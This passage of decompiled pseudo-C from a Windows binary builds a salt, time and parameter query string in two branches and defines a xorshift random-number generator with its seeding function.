  v18 = v14 * pow_like(v15, 2.0, v15, a10, v16, v17, (double)dword_14000B0E0);
  v19 = (double)dword_14000B0E4;
  if ( v18 == pow_like((double)(int)(v57 | v55), 2.0, v15, (double)(int)(v57 | v55), v20, v21, v18) * v19 )
  {
    v22 = std::operator<<<std::char_traits<char>>(a1, a2, "salt=", v50);
    v23 = std::operator<<<char>(a1, a2, v51, v22);
    v24 = std::operator<<<std::char_traits<char>>(a1, a2, "&t=", v23);
    v25 = std::ostream::operator<<(a1, a2, time, v24);
    v26 = std::operator<<<std::char_traits<char>>(a1, a2, "&r=", v25);
    v27 = std::ostream::operator<<(a1, a2, v52, v26);
    v28 = std::operator<<<std::char_traits<char>>(a1, a2, "&cipher=", v27);
    v31 = sub_14000184D((_DWORD)a1, a2, time, v52, v29, v30, v48);
    std::ostream::operator<<(a1, a2, v31, v28);
  }
  else
  {
    v32 = std::operator<<<std::char_traits<char>>(a1, a2, "salt=", v50);
    v33 = std::operator<<<char>(a1, a2, v51, v32);
    v34 = std::operator<<<std::char_traits<char>>(a1, a2, "&t=", v33);
    v35 = std::ostream::operator<<(a1, a2, time, v34);
    v36 = std::operator<<<std::char_traits<char>>(a1, a2, "&r=", v35);
    v37 = std::ostream::operator<<(a1, a2, v52, v36);
    v38 = std::operator<<<std::char_traits<char>>(a1, a2, "&a=", v37);
    v39 = std::ostream::operator<<(a1, a2, v58, v38);
    v40 = std::operator<<<std::char_traits<char>>(a1, a2, "&b=", v39);
    v41 = std::ostream::operator<<(a1, a2, v57, v40);
    v42 = std::operator<<<std::char_traits<char>>(a1, a2, "&x=", v41);
    v43 = std::ostream::operator<<(a1, a2, v56, v42);
    v44 = std::operator<<<std::char_traits<char>>(a1, a2, "&y=", v43);
    std::ostream::operator<<(a1, a2, v55, v44);
  }
  std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::str(a1, a2, v49, a4);
  std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::~basic_stringstream(a1, a2, v45, v49);
  std::string::~string(a1, a2, v46, v51);
  return a4;
}
__int64 gen_rand()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  v1 = (((dword_14000B040 << 13) ^ (unsigned int)dword_14000B040) >> 17) ^ (dword_14000B040 << 13) ^ dword_14000B040;
  dword_14000B040 = (32 * v1) ^ v1;
  return dword_14000B040 & 0x7FFFFFFF;
}
__int64 __fastcall sub_1400014B5(_DWORD a1, _DWORD a2, _DWORD a3, unsigned int a4)
{
  __int64 result; // rax
  unsigned int v5; // [rsp+10h] [rbp+10h]

  v5 = a4;
  if ( !a4 )
    v5 = 1;
  result = v5;
  dword_14000B040 = v5;
  return result;
}